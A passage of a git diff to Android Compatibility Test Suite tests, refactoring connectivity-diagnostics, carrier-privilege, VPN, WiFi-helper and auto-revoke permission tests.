- private static final TestNetworkCallback TEST_NETWORK_CALLBACK = new TestNetworkCallback();
+ private static final String SHA_256 = "SHA-256";
+
+ private static final NetworkRequest CELLULAR_NETWORK_REQUEST =
+ new NetworkRequest.Builder().addTransportType(TRANSPORT_CELLULAR).build();
private static final IBinder BINDER = new Binder();
private Context mContext;
private ConnectivityManager mConnectivityManager;
private ConnectivityDiagnosticsManager mCdm;
+ private CarrierConfigManager mCarrierConfigManager;
+ private PackageManager mPackageManager;
+ private TelephonyManager mTelephonyManager;
+
+ // Callback used to keep TestNetworks up when there are no other outstanding NetworkRequests
+ // for it.
+ private TestNetworkCallback mTestNetworkCallback;
private Network mTestNetwork;
+ private ParcelFileDescriptor mTestNetworkFD;
+
+ private List<TestConnectivityDiagnosticsCallback> mRegisteredCallbacks;
@Before
public void setUp() throws Exception {
mContext = InstrumentationRegistry.getContext();
mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
mCdm = mContext.getSystemService(ConnectivityDiagnosticsManager.class);
+ mCarrierConfigManager = mContext.getSystemService(CarrierConfigManager.class);
+ mPackageManager = mContext.getPackageManager();
+ mTelephonyManager = mContext.getSystemService(TelephonyManager.class);
- mConnectivityManager.requestNetwork(TEST_NETWORK_REQUEST, TEST_NETWORK_CALLBACK);
+ mTestNetworkCallback = new TestNetworkCallback();
+ mConnectivityManager.requestNetwork(TEST_NETWORK_REQUEST, mTestNetworkCallback);
+
+ mRegisteredCallbacks = new ArrayList<>();
}
@After
public void tearDown() throws Exception {
- mConnectivityManager.unregisterNetworkCallback(TEST_NETWORK_CALLBACK);
-
+ mConnectivityManager.unregisterNetworkCallback(mTestNetworkCallback);
if (mTestNetwork != null) {
runWithShellPermissionIdentity(() -> {
final TestNetworkManager tnm = mContext.getSystemService(TestNetworkManager.class);
tnm.teardownTestNetwork(mTestNetwork);
});
+ mTestNetwork = null;
+ }
+
+ if (mTestNetworkFD != null) {
+ mTestNetworkFD.close();
+ mTestNetworkFD = null;
+ }
+
+ for (TestConnectivityDiagnosticsCallback cb : mRegisteredCallbacks) {
+ mCdm.unregisterConnectivityDiagnosticsCallback(cb);
}
}
@Test
public void testRegisterConnectivityDiagnosticsCallback() throws Exception {
- mTestNetwork = setUpTestNetwork();
+ mTestNetworkFD = setUpTestNetwork().getFileDescriptor();
+ mTestNetwork = mTestNetworkCallback.waitForAvailable();
- final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
- mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
+ final TestConnectivityDiagnosticsCallback cb =
+ createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
final String interfaceName =
mConnectivityManager.getLinkProperties(mTestNetwork).getInterfaceName();
@@ -139,10 +191,101 @@
cb.assertNoCallback();
}
+ @SkipPresubmit(reason = "Flaky: b/159718782; add to presubmit after fixing")
+ @Test
+ public void testRegisterCallbackWithCarrierPrivileges() throws Exception {
+ assumeTrue(mPackageManager.hasSystemFeature(FEATURE_TELEPHONY));
+
+ final int subId = SubscriptionManager.getDefaultSubscriptionId();
+ if (subId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
+ fail("Need an active subscription. Please ensure that the device has working mobile"
+ + " data.");
+ }
+
+ final CarrierConfigReceiver carrierConfigReceiver = new CarrierConfigReceiver(subId);
+ mContext.registerReceiver(
+ carrierConfigReceiver,
+ new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED));
+
+ final TestNetworkCallback testNetworkCallback = new TestNetworkCallback();
+
+ try {
+ doBroadcastCarrierConfigsAndVerifyOnConnectivityReportAvailable(
+ subId, carrierConfigReceiver, testNetworkCallback);
+ } finally {
+ runWithShellPermissionIdentity(
+ () -> mCarrierConfigManager.overrideConfig(subId, null),
+ android.Manifest.permission.MODIFY_PHONE_STATE);
+ mConnectivityManager.unregisterNetworkCallback(testNetworkCallback);
+ mContext.unregisterReceiver(carrierConfigReceiver);
+ }
+ }
+
+ private String getCertHashForThisPackage() throws Exception {
+ final PackageInfo pkgInfo =
+ mPackageManager.getPackageInfo(
+ mContext.getOpPackageName(), PackageManager.GET_SIGNATURES);
+ final MessageDigest md = MessageDigest.getInstance(SHA_256);
+ final byte[] certHash = md.digest(pkgInfo.signatures[0].toByteArray());
+ return IccUtils.bytesToHexString(certHash);
+ }
+
+ private void doBroadcastCarrierConfigsAndVerifyOnConnectivityReportAvailable(
+ int subId,
+ @NonNull CarrierConfigReceiver carrierConfigReceiver,
+ @NonNull TestNetworkCallback testNetworkCallback)
+ throws Exception {
+ final PersistableBundle carrierConfigs = new PersistableBundle();
+ carrierConfigs.putStringArray(
+ CarrierConfigManager.KEY_CARRIER_CERTIFICATE_STRING_ARRAY,
+ new String[] {getCertHashForThisPackage()});
+
+ runWithShellPermissionIdentity(
+ () -> {
+ mCarrierConfigManager.overrideConfig(subId, carrierConfigs);
+ mCarrierConfigManager.notifyConfigChangedForSubId(subId);
+ },
+ android.Manifest.permission.MODIFY_PHONE_STATE);
+
+ // TODO(b/157779832): This should use android.permission.CHANGE_NETWORK_STATE. However, the
+ // shell does not have CHANGE_NETWORK_STATE, so use CONNECTIVITY_INTERNAL until the shell
+ // permissions are updated.
+ runWithShellPermissionIdentity(
+ () -> mConnectivityManager.requestNetwork(
+ CELLULAR_NETWORK_REQUEST, testNetworkCallback),
+ android.Manifest.permission.CONNECTIVITY_INTERNAL);
+
+ final Network network = testNetworkCallback.waitForAvailable();
+ assertNotNull(network);
+
+ assertTrue("Didn't receive broadcast for ACTION_CARRIER_CONFIG_CHANGED for subId=" + subId,
+ carrierConfigReceiver.waitForCarrierConfigChanged());
+ assertTrue("Don't have Carrier Privileges after adding cert for this package",
+ mTelephonyManager.createForSubscriptionId(subId).hasCarrierPrivileges());
+
+ // Wait for CarrierPrivilegesTracker to receive the ACTION_CARRIER_CONFIG_CHANGED
+ // broadcast. CPT then needs to update the corresponding DataConnection, which then
+ // updates ConnectivityService. Unfortunately, this update to the NetworkCapabilities in
+ // CS does not trigger NetworkCallback#onCapabilitiesChanged as changing the
+ // administratorUids is not a publicly visible change. In lieu of a better signal to
+ // detministically wait for, use Thread#sleep here.
+ // TODO(b/157949581): replace this Thread#sleep with a deterministic signal
+ Thread.sleep(DELAY_FOR_ADMIN_UIDS_MILLIS);
+
+ final TestConnectivityDiagnosticsCallback connDiagsCallback =
+ createAndRegisterConnectivityDiagnosticsCallback(CELLULAR_NETWORK_REQUEST);
+
+ final String interfaceName =
+ mConnectivityManager.getLinkProperties(network).getInterfaceName();
+ connDiagsCallback.expectOnConnectivityReportAvailable(
+ network, interfaceName, TRANSPORT_CELLULAR);
+ connDiagsCallback.assertNoCallback();
+ }
+
@Test
public void testRegisterDuplicateConnectivityDiagnosticsCallback() {
- final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
- mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
+ final TestConnectivityDiagnosticsCallback cb =
+ createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
try {
mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
@@ -166,10 +309,11 @@
@Test
public void testOnConnectivityReportAvailable() throws Exception {
- mTestNetwork = setUpTestNetwork();
+ final TestConnectivityDiagnosticsCallback cb =
+ createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
- final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
- mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
+ mTestNetworkFD = setUpTestNetwork().getFileDescriptor();
+ mTestNetwork = mTestNetworkCallback.waitForAvailable();
final String interfaceName =
mConnectivityManager.getLinkProperties(mTestNetwork).getInterfaceName();
@@ -217,10 +361,11 @@
long timestampMillis,
@NonNull PersistableBundle extras)
throws Exception {
- mTestNetwork = setUpTestNetwork();
+ mTestNetworkFD = setUpTestNetwork().getFileDescriptor();
+ mTestNetwork = mTestNetworkCallback.waitForAvailable();
- final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
- mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
+ final TestConnectivityDiagnosticsCallback cb =
+ createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
final String interfaceName =
mConnectivityManager.getLinkProperties(mTestNetwork).getInterfaceName();
@@ -248,10 +393,11 @@
}
private void verifyOnNetworkConnectivityReported(boolean hasConnectivity) throws Exception {
- mTestNetwork = setUpTestNetwork();
+ mTestNetworkFD = setUpTestNetwork().getFileDescriptor();
+ mTestNetwork = mTestNetworkCallback.waitForAvailable();
- final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
- mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
+ final TestConnectivityDiagnosticsCallback cb =
+ createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
// onConnectivityReportAvailable always invoked when the test network is established
final String interfaceName =
@@ -272,17 +418,12 @@
cb.assertNoCallback();
}
- @NonNull
- private Network waitForConnectivityServiceIdleAndGetNetwork() throws InterruptedException {
- // Get a new Network. This requires going through the ConnectivityService thread. Once it
- // completes, all previously enqueued messages on the ConnectivityService main Handler have
- // completed.
- final TestNetworkCallback callback = new TestNetworkCallback();
- mConnectivityManager.requestNetwork(TEST_NETWORK_REQUEST, callback);
- final Network network = callback.waitForAvailable();
- mConnectivityManager.unregisterNetworkCallback(callback);
- assertNotNull(network);
- return network;
+ private TestConnectivityDiagnosticsCallback createAndRegisterConnectivityDiagnosticsCallback(
+ NetworkRequest request) {
+ final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
+ mCdm.registerConnectivityDiagnosticsCallback(request, INLINE_EXECUTOR, cb);
+ mRegisteredCallbacks.add(cb);
+ return cb;
}
/**
@@ -290,16 +431,16 @@
* to the Network being validated.
*/
@NonNull
- private Network setUpTestNetwork() throws Exception {
+ private TestNetworkInterface setUpTestNetwork() throws Exception {
final int[] administratorUids = new int[] {Process.myUid()};
- runWithShellPermissionIdentity(
+ return callWithShellPermissionIdentity(
() -> {
final TestNetworkManager tnm =
mContext.getSystemService(TestNetworkManager.class);
final TestNetworkInterface tni = tnm.createTunInterface(new LinkAddress[0]);
tnm.setupTestNetwork(tni.getInterfaceName(), administratorUids, BINDER);
+ return tni;
});
- return waitForConnectivityServiceIdleAndGetNetwork();
}
private static class TestConnectivityDiagnosticsCallback
@@ -324,13 +465,18 @@
public void expectOnConnectivityReportAvailable(
@NonNull Network network, @NonNull String interfaceName) {
+ expectOnConnectivityReportAvailable(network, interfaceName, TRANSPORT_TEST);
+ }
+
+ public void expectOnConnectivityReportAvailable(
+ @NonNull Network network, @NonNull String interfaceName, int transportType) {
final ConnectivityReport result =
(ConnectivityReport) mHistory.poll(CALLBACK_TIMEOUT_MILLIS, x -> true);
assertEquals(network, result.getNetwork());
final NetworkCapabilities nc = result.getNetworkCapabilities();
assertNotNull(nc);
- assertTrue(nc.hasTransport(TRANSPORT_TEST));
+ assertTrue(nc.hasTransport(transportType));
assertNotNull(result.getLinkProperties());
assertEquals(interfaceName, result.getLinkProperties().getInterfaceName());
@@ -384,4 +530,43 @@
mHistory.poll(NO_CALLBACK_INVOKED_TIMEOUT, x -> true));
}
}
+
+ private class CarrierConfigReceiver extends BroadcastReceiver {
+ private final CountDownLatch mLatch = new CountDownLatch(1);
+ private final int mSubId;
+
+ CarrierConfigReceiver(int subId) {
+ mSubId = subId;
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (!CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED.equals(intent.getAction())) {
+ return;
+ }
+
+ final int subId =
+ intent.getIntExtra(
+ CarrierConfigManager.EXTRA_SUBSCRIPTION_INDEX,
+ SubscriptionManager.INVALID_SUBSCRIPTION_ID);
+ if (mSubId != subId) return;
+
+ final PersistableBundle carrierConfigs = mCarrierConfigManager.getConfigForSubId(subId);
+ if (!CarrierConfigManager.isConfigForIdentifiedCarrier(carrierConfigs)) return;
+
+ final String[] certs =
+ carrierConfigs.getStringArray(
+ CarrierConfigManager.KEY_CARRIER_CERTIFICATE_STRING_ARRAY);
+ try {
+ if (ArrayUtils.contains(certs, getCertHashForThisPackage())) {
+ mLatch.countDown();
+ }
+ } catch (Exception e) {
+ }
+ }
+
+ boolean waitForCarrierConfigChanged() throws Exception {
+ return mLatch.await(CARRIER_CONFIG_CHANGED_BROADCAST_TIMEOUT, TimeUnit.MILLISECONDS);
+ }
+ }
}
diff --git a/tests/tests/net/src/android/net/cts/DnsResolverTest.java b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
index 28753ff..4acbbcf 100644
--- a/tests/tests/net/src/android/net/cts/DnsResolverTest.java
+++ b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
@@ -30,7 +30,6 @@
import android.content.ContentResolver;
import android.net.ConnectivityManager;
import android.net.ConnectivityManager.NetworkCallback;
-import android.net.DnsPacket;
import android.net.DnsResolver;
import android.net.LinkProperties;
import android.net.Network;
@@ -47,6 +46,9 @@
import android.test.AndroidTestCase;
import android.util.Log;
+import com.android.net.module.util.DnsPacket;
+import com.android.testutils.SkipPresubmit;
+
import java.net.Inet4Address;
import java.net.Inet6Address;
import java.net.InetAddress;
@@ -584,6 +586,7 @@
doTestContinuousQueries(mExecutor);
}
+ @SkipPresubmit(reason = "Flaky: b/159762682; add to presubmit after fixing")
public void testContinuousQueriesInline() throws Exception {
doTestContinuousQueries(mExecutorInline);
}
diff --git a/tests/tests/net/src/android/net/cts/Ikev2VpnTest.java b/tests/tests/net/src/android/net/cts/Ikev2VpnTest.java
index dff2581..9eab024 100644
--- a/tests/tests/net/src/android/net/cts/Ikev2VpnTest.java
+++ b/tests/tests/net/src/android/net/cts/Ikev2VpnTest.java
@@ -16,6 +16,7 @@
package android.net.cts;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
import static android.net.NetworkCapabilities.TRANSPORT_VPN;
import static android.net.cts.util.CtsNetUtils.TestNetworkCallback;
@@ -40,6 +41,7 @@
import android.net.IpSecAlgorithm;
import android.net.LinkAddress;
import android.net.Network;
+import android.net.NetworkCapabilities;
import android.net.NetworkRequest;
import android.net.ProxyInfo;
import android.net.TestNetworkInterface;
@@ -47,6 +49,7 @@
import android.net.VpnManager;
import android.net.cts.util.CtsNetUtils;
import android.os.Build;
+import android.os.Process;
import android.platform.test.annotations.AppModeFull;
import androidx.test.InstrumentationRegistry;
@@ -56,6 +59,7 @@
import com.android.testutils.DevSdkIgnoreRule.IgnoreUpTo;
import com.android.testutils.DevSdkIgnoreRunner;
+import org.junit.After;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -175,6 +179,12 @@
mUserCertKey = generateRandomCertAndKeyPair();
}
+ @After
+ public void tearDown() {
+ setAppop(AppOpsManager.OP_ACTIVATE_VPN, false);
+ setAppop(AppOpsManager.OP_ACTIVATE_PLATFORM_VPN, false);
+ }
+
/**
* Sets the given appop using shell commands
*
@@ -419,6 +429,11 @@
final Network vpnNetwork = cb.currentNetwork;
assertNotNull(vpnNetwork);
+ final NetworkCapabilities caps = sCM.getNetworkCapabilities(vpnNetwork);
+ assertTrue(caps.hasTransport(TRANSPORT_VPN));
+ assertTrue(caps.hasCapability(NET_CAPABILITY_INTERNET));
+ assertEquals(Process.myUid(), caps.getOwnerUid());
+
sVpnMgr.stopProvisionedVpnProfile();
cb.waitForLost();
assertEquals(vpnNetwork, cb.lastLostNetwork);
diff --git a/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java b/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
index 985e313..6d3db89 100644
--- a/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
+++ b/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
@@ -68,7 +68,6 @@
mCM = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
mCR = getContext().getContentResolver();
mCtsNetUtils = new CtsNetUtils(getContext());
- mCtsNetUtils.storePrivateDnsSetting();
}
@Override
@@ -223,6 +222,7 @@
@AppModeFull(reason = "WRITE_SECURE_SETTINGS permission can't be granted to instant apps")
public void testResNApiNXDomainPrivateDns() throws InterruptedException {
+ mCtsNetUtils.storePrivateDnsSetting();
// Enable private DNS strict mode and set server to dns.google before doing NxDomain test.
// b/144521720
try {
diff --git a/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java b/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
index b1f3602..85d2113 100644
--- a/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
+++ b/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
@@ -157,8 +157,36 @@
}
}
- /** Enable WiFi and wait for it to become connected to a network. */
+ /**
+ * Enable WiFi and wait for it to become connected to a network.
+ *
+ * This method expects to receive a legacy broadcast on connect, which may not be sent if the
+ * network does not become default or if it is not the first network.
+ */
public Network connectToWifi() {
+ return connectToWifi(true /* expectLegacyBroadcast */);
+ }
+
+ /**
+ * Enable WiFi and wait for it to become connected to a network.
+ *
+ * A network is considered connected when a {@link NetworkCallback#onAvailable(Network)}
+ * callback is received.
+ */
+ public Network ensureWifiConnected() {
+ return connectToWifi(false /* expectLegacyBroadcast */);
+ }
+
+ /**
+ * Enable WiFi and wait for it to become connected to a network.
+ *
+ * @param expectLegacyBroadcast Whether to check for a legacy CONNECTIVITY_ACTION connected
+ * broadcast. The broadcast is typically not sent if the network
+ * does not become the default network, and is not the first
+ * network to appear.
+ * @return The network that was newly connected.
+ */
+ private Network connectToWifi(boolean expectLegacyBroadcast) {
final TestNetworkCallback callback = new TestNetworkCallback();
mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
Network wifiNetwork = null;
@@ -170,15 +198,16 @@
mContext.registerReceiver(receiver, filter);
boolean connected = false;
+ final String err = "Wifi must be configured to connect to an access point for this test.";
try {
clearWifiBlacklist();
SystemUtil.runShellCommand("svc wifi enable");
SystemUtil.runWithShellPermissionIdentity(() -> mWifiManager.reconnect(),
NETWORK_SETTINGS);
- // Ensure we get both an onAvailable callback and a CONNECTIVITY_ACTION.
+ // Ensure we get an onAvailable callback and possibly a CONNECTIVITY_ACTION.
wifiNetwork = callback.waitForAvailable();
- assertNotNull(wifiNetwork);
- connected = receiver.waitForState();
+ assertNotNull(err, wifiNetwork);
+ connected = !expectLegacyBroadcast || receiver.waitForState();
} catch (InterruptedException ex) {
fail("connectToWifi was interrupted");
} finally {
@@ -186,8 +215,7 @@
mContext.unregisterReceiver(receiver);
}
- assertTrue("Wifi must be configured to connect to an access point for this test.",
- connected);
+ assertTrue(err, connected);
return wifiNetwork;
}
@@ -204,8 +232,47 @@
});
}
- /** Disable WiFi and wait for it to become disconnected from the network. */
+ /**
+ * Disable WiFi and wait for it to become disconnected from the network.
+ *
+ * This method expects to receive a legacy broadcast on disconnect, which may not be sent if the
+ * network was not default, or was not the first network.
+ *
+ * @param wifiNetworkToCheck If non-null, a network that should be disconnected. This network
+ * is expected to be able to establish a TCP connection to a remote
+ * server before disconnecting, and to have that connection closed in
+ * the process.
+ */
public void disconnectFromWifi(Network wifiNetworkToCheck) {
+ disconnectFromWifi(wifiNetworkToCheck, true /* expectLegacyBroadcast */);
+ }
+
+ /**
+ * Disable WiFi and wait for it to become disconnected from the network.
+ *
+ * @param wifiNetworkToCheck If non-null, a network that should be disconnected. This network
+ * is expected to be able to establish a TCP connection to a remote
+ * server before disconnecting, and to have that connection closed in
+ * the process.
+ */
+ public void ensureWifiDisconnected(Network wifiNetworkToCheck) {
+ disconnectFromWifi(wifiNetworkToCheck, false /* expectLegacyBroadcast */);
+ }
+
+ /**
+ * Disable WiFi and wait for it to become disconnected from the network.
+ *
+ * @param wifiNetworkToCheck If non-null, a network that should be disconnected. This network
+ * is expected to be able to establish a TCP connection to a remote
+ * server before disconnecting, and to have that connection closed in
+ * the process.
+ * @param expectLegacyBroadcast Whether to check for a legacy CONNECTIVITY_ACTION disconnected
+ * broadcast. The broadcast is typically not sent if the network
+ * was not the default network and not the first network to appear.
+ * The check will always be skipped if the device was not connected
+ * to wifi in the first place.
+ */
+ private void disconnectFromWifi(Network wifiNetworkToCheck, boolean expectLegacyBroadcast) {
final TestNetworkCallback callback = new TestNetworkCallback();
mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
@@ -238,6 +305,8 @@
// Ensure we get both an onLost callback and a CONNECTIVITY_ACTION.
assertNotNull("Did not receive onLost callback after disabling wifi",
callback.waitForLost());
+ }
+ if (wasWifiConnected && expectLegacyBroadcast) {
assertTrue("Wifi failed to reach DISCONNECTED state.", receiver.waitForState());
}
} catch (InterruptedException ex) {
diff --git a/tests/tests/os/Android.bp b/tests/tests/os/Android.bp
index b118392..e04630b 100644
--- a/tests/tests/os/Android.bp
+++ b/tests/tests/os/Android.bp
@@ -26,6 +26,7 @@
"truth-prebuilt",
"guava",
"junit",
+ "CtsMockInputMethodLib"
],
jni_uses_platform_apis: true,
jni_libs: [
diff --git a/tests/tests/os/AndroidManifest.xml b/tests/tests/os/AndroidManifest.xml
index 07de155..5a53fa5 100644
--- a/tests/tests/os/AndroidManifest.xml
+++ b/tests/tests/os/AndroidManifest.xml
@@ -48,6 +48,7 @@
<uses-permission android:name="android.permission.POWER_SAVER" />
<uses-permission android:name="android.permission.INSTALL_DYNAMIC_SYSTEM" />
<uses-permission android:name="android.permission.MANAGE_COMPANION_DEVICES" />
+ <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission android:name="android.os.cts.permission.TEST_GRANTED" />
diff --git a/tests/tests/os/AutoRevokeDummyApp/AndroidManifest.xml b/tests/tests/os/AutoRevokeDummyApp/AndroidManifest.xml
index 202b95c..bed0bf0 100644
--- a/tests/tests/os/AutoRevokeDummyApp/AndroidManifest.xml
+++ b/tests/tests/os/AutoRevokeDummyApp/AndroidManifest.xml
@@ -22,7 +22,7 @@
<uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30" />
- <application android:autoRevokePermissions="discouraged">
+ <application>
<activity android:name="android.os.cts.autorevokedummyapp.MainActivity"
android:exported="true"
android:visibleToInstantApps="true" >
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/AndroidManifest.xml b/tests/tests/os/AutoRevokeWhitelistedDummyApp/AndroidManifest.xml
deleted file mode 100644
index 5c253ee..0000000
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/AndroidManifest.xml
+++ /dev/null
@@ -1,36 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--s
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.os.cts.autorevokewhitelisteddummyapp">
-
- <uses-permission android:name="android.permission.READ_CALENDAR" />
-
- <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30" />
-
- <application android:autoRevokePermissions="disallowed">
- <activity android:name="android.os.cts.autorevokewhitelisteddummyapp.MainActivity"
- android:exported="true"
- android:visibleToInstantApps="true" >
- <intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.LAUNCHER"/>
- </intent-filter>
- </activity>
- </application>
-</manifest>
-
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/src/android/os/cts/autorevokewhitelisteddummyapp/MainActivity.kt b/tests/tests/os/AutoRevokeWhitelistedDummyApp/src/android/os/cts/autorevokewhitelisteddummyapp/MainActivity.kt
deleted file mode 100644
index 6e59224..0000000
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/src/android/os/cts/autorevokewhitelisteddummyapp/MainActivity.kt
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.os.cts.autorevokewhitelisteddummyapp
-
-import android.app.Activity
-import android.os.Bundle
-import android.widget.LinearLayout
-import android.widget.LinearLayout.VERTICAL
-import android.widget.TextView
-
-class MainActivity : Activity() {
-
- val whitelistStatus by lazy { TextView(this) }
-
- override fun onCreate(savedInstanceState: Bundle?) {
- super.onCreate(savedInstanceState)
-
- setContentView(LinearLayout(this).apply {
- orientation = VERTICAL
-
- addView(whitelistStatus)
- })
-
- requestPermissions(arrayOf("android.permission.READ_CALENDAR"), 0)
- }
-
- override fun onResume() {
- super.onResume()
-
- whitelistStatus.text = "Auto-revoke whitelisted: " + packageManager.isAutoRevokeWhitelisted
- }
-}
diff --git a/tests/tests/os/CtsOsTestCases.xml b/tests/tests/os/CtsOsTestCases.xml
index d1ab773..7ce85d6 100644
--- a/tests/tests/os/CtsOsTestCases.xml
+++ b/tests/tests/os/CtsOsTestCases.xml
@@ -22,6 +22,15 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsOsTestCases.apk" />
</target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="force-install-mode" value="FULL"/>
+ <option name="test-file-name" value="CtsMockInputMethod.apk" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.DeviceSetup">
+ <option name="screen-always-on" value="on" />
+ </target_preparer>
+
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.os.cts" />
<option name="runtime-hint" value="3m15s" />
@@ -36,8 +45,5 @@
<!-- Load additional APKs onto device -->
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
<option name="push" value="CtsAutoRevokeDummyApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk" />
- <option
- name="push"
- value="CtsAutoRevokeWhitelistedDummyApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeWhitelistedDummyApp.apk" />
</target_preparer>
</configuration>
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index d18479d51..9bebccf 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -17,6 +17,7 @@
package android.os.cts
import android.content.Intent
+import android.content.Intent.ACTION_AUTO_REVOKE_PERMISSIONS
import android.content.Intent.FLAG_ACTIVITY_NEW_TASK
import android.content.pm.PackageManager
import android.content.pm.PackageManager.PERMISSION_DENIED
@@ -24,7 +25,6 @@
import android.net.Uri
import android.platform.test.annotations.AppModeFull
import android.provider.DeviceConfig
-import android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS
import android.support.test.uiautomator.By
import android.support.test.uiautomator.BySelector
import android.support.test.uiautomator.UiObject2
@@ -45,10 +45,8 @@
import java.util.regex.Pattern
private const val APK_PATH = "/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk"
-private const val APK_WHITELISTED_PATH =
- "/data/local/tmp/cts/os/CtsAutoRevokeWhitelistedDummyApp.apk"
private const val APK_PACKAGE_NAME = "android.os.cts.autorevokedummyapp"
-private const val APK_WHITELISTED_PACKAGE_NAME = "android.os.cts.autorevokewhitelisteddummyapp"
+private const val READ_CALENDAR = "android.permission.READ_CALENDAR"
/**
* Test for auto revoke
@@ -153,28 +151,6 @@
}
@AppModeFull(reason = "Uses separate apps for testing")
- fun testAutoRevoke_manifestWhitelisting() {
- wakeUpScreen()
- withUnusedThresholdMs(5L) {
- withDummyApp(APK_WHITELISTED_PATH, APK_WHITELISTED_PACKAGE_NAME) {
- // Setup
- startApp(APK_WHITELISTED_PACKAGE_NAME)
- clickPermissionAllow()
- assertWhitelistState(true)
-
- // Run
- goHome()
- Thread.sleep(20L)
- runAutoRevoke()
- Thread.sleep(500L)
-
- // Verify
- assertPermission(PERMISSION_GRANTED, APK_WHITELISTED_PACKAGE_NAME)
- }
- }
- }
-
- @AppModeFull(reason = "Uses separate apps for testing")
fun testInstallGrants_notRevokedImmediately() {
wakeUpScreen()
withUnusedThresholdMs(TimeUnit.DAYS.toMillis(30)) {
@@ -303,47 +279,19 @@
}
private fun assertPermission(state: Int, packageName: String = APK_PACKAGE_NAME) {
- // For some reason this incorrectly always returns PERMISSION_DENIED
-// runWithShellPermissionIdentity {
-// assertEquals(
-// permissionStateToString(state),
-// permissionStateToString(context.packageManager.checkPermission(READ_CALENDAR, APK_PACKAGE_NAME)))
-// }
-
- try {
- goToPermissions(packageName)
-
- waitForIdle()
- val ui = instrumentation.uiAutomation.rootInActiveWindow
- val permStateSection = ui.lowestCommonAncestor(
- { node -> node.textAsString.equals("Allowed", ignoreCase = true) },
